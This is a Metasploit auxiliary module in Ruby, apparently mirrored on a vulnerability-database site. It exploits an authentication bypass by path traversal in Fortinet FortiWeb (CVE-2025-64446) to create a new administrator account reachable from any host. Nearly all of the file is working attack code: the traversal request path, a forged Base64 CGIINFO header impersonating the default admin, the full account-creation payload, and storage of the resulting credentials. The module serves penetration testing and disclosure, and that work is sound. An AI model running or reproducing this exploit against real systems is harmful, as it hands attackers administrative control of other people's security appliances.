##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Fortinet FortiWeb create new local admin',
'Description' => %q{
This auxiliary module exploits an authentication bypass via path traversal vulnerability in the Fortinet
FortiWeb management interface to create a new local administrator user account. This vulnerability affects the
following versions:
* FortiWeb 8.0.0 through 8.0.1 (Patched in 8.0.2 and above)
* FortiWeb 7.6.0 through 7.6.4 (Patched in 7.6.5 and above)
* FortiWeb 7.4.0 through 7.4.9 (Patched in 7.4.10 and above)
* FortiWeb 7.2.0 through 7.2.11 (Patched in 7.2.12 and above)
* FortiWeb 7.0.0 through 7.0.11 (Patched in 7.0.12 and above)
},
'License' => MSF_LICENSE,
'Author' => [
'Defused', # PoC from honeypot
'sfewer-r7', # MSF module
],
'References' => [
['CVE', '2025-64446'],
['EDB', '52495'],
['EDB', '52502'],
['URL', 'https://x.com/defusedcyber/status/1975242250373517373'], # Original PoC posted online
['URL', 'https://github.com/watchtowrlabs/watchTowr-vs-Fortiweb-AuthBypass'], # PoC
['URL', 'https://www.pwndefend.com/2025/11/13/suspected-fortinet-zero-day-exploited-in-the-wild/'],
['URL', 'https://www.rapid7.com/blog/post/etr-critical-vulnerability-in-fortinet-fortiweb-exploited-in-the-wild/'],
['URL', 'https://www.fortiguard.com/psirt/FG-IR-25-910'] # Vendor Advisory
],
'DisclosureDate' => '2025-11-14',
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS],
'RelatedModules' => ['exploit/linux/http/fortinet_fortiweb_rce']
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('NEW_USERNAME', [true, 'Username to use when creating a new admin account', Faker::Internet.username]),
OptString.new('NEW_PASSWORD', [true, 'Password to use when creating a new admin account', Rex::Text.rand_text_alpha(8)])
])
register_advanced_options(
[
OptString.new('FORTIWEB_ACCESS_PROFILE', [ true, 'The access profile to use for the new admin account', 'prof_admin' ]),
OptString.new('FORTIWEB_DOMAIN', [ true, 'The domain to use for the new admin account', 'root' ]),
OptString.new('FORTIWEB_DEFAULT_ADMIN_ACCOUNT', [ true, 'The default FortiWeb admin account name', 'admin' ])
]
)
end
def check
res = post_auth_bypass_request({ data: {} })
return Exploit::CheckCode::Unknown('Connection failed') unless res
return Exploit::CheckCode::Safe('Received a 403 Forbidden response') if res.code == 403
j = JSON.parse(res.body)
# Tested against vulnerable FortiWeb versions 8.0.1, 7.4.8, 6.4.3, and 6.3.9
return Exploit::CheckCode::Appears('Authentication bypass succeeded on FortiWeb') if j.dig('results', 'errcode') == -56
Exploit::CheckCode::Unknown('Unexpected JSON results')
rescue JSON::ParserError
return Exploit::CheckCode::Unknown('Failed to parse JSON body')
end
def run
request_data = {
data: {
'q_type' => 1,
'name' => datastore['NEW_USERNAME'],
'access-profile' => datastore['FORTIWEB_ACCESS_PROFILE'],
'access-profile_val' => '0',
'trusthostv4' => '0.0.0.0/0',
'trusthostv6' => '::/0',
'last-name' => '',
'first-name' => '',
'email-address' => '',
'phone-number' => '',
'mobile-number' => '',
'hidden' => 0,
'domains' => datastore['FORTIWEB_DOMAIN'],
'sz_dashboard' => -1,
'type' => 'local-user',
'type_val' => '0',
'admin-usergrp_val' => '0',
'wildcard_val' => '0',
'accprofile-override_val' => '0',
'sshkey' => '',
'passwd-set-time' => 0,
'history-password-pos' => 0,
'history-password0' => '',
'history-password1' => '',
'history-password2' => '',
'history-password3' => '',
'history-password4' => '',
'history-password5' => '',
'history-password6' => '',
'history-password7' => '',
'history-password8' => '',
'history-password9' => '',
'force-password-change' => 'disable',
'force-password-change_val' => '0',
'password' => datastore['NEW_PASSWORD']
}
}
res = post_auth_bypass_request(request_data)
return fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Connection failed.') unless res
return fail_with(Msf::Exploit::Failure::NotVulnerable, 'Target does not appear vulnerable (403 Forbidden response)') if res.code == 403
unless res.code == 200
if res.headers['Content-Type'] == 'application/json'
begin
response_data = JSON.parse(res.body)
print_bad(response_data.to_s)
rescue JSON::ParserError
print_bad('failed to parse response JSON data')
end
end
return fail_with(Msf::Exploit::Failure::UnexpectedReply, "Target returned an unexpected response (#{res.code})")
end
print_good("New admin account successfully created: #{datastore['NEW_USERNAME']}:#{datastore['NEW_PASSWORD']}")
print_good("Login via #{ssl ? 'https' : 'http'}://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{normalize_uri(target_uri.path, 'login')}")
store_credentials(datastore['NEW_USERNAME'], datastore['NEW_PASSWORD'], Metasploit::Model::Login::Status::UNTRIED)
end
def post_auth_bypass_request(request_data)
cgi_info = {
'username' => datastore['FORTIWEB_DEFAULT_ADMIN_ACCOUNT'],
'profname' => datastore['FORTIWEB_ACCESS_PROFILE'],
'vdom' => datastore['FORTIWEB_DOMAIN'],
'loginname' => datastore['FORTIWEB_DEFAULT_ADMIN_ACCOUNT']
}
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/api/v2.0/cmdb/system/admin%3F/../../../../../cgi-bin/fwbcgi'),
'headers' => {
'CGIINFO' => Base64.strict_encode64(cgi_info.to_json)
},
'ctype' => 'application/json',
'data' => request_data.to_json
)
end
def store_credentials(username, password, login_status)
service_data = {
address: datastore['RHOST'],
port: datastore['RPORT'],
service_name: ssl ? 'https' : 'http',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: username,
private_data: password,
private_type: :password
}.merge(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
last_attempted_at: DateTime.now,
status: login_status
}.merge(service_data)
create_credential_login(login_data)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation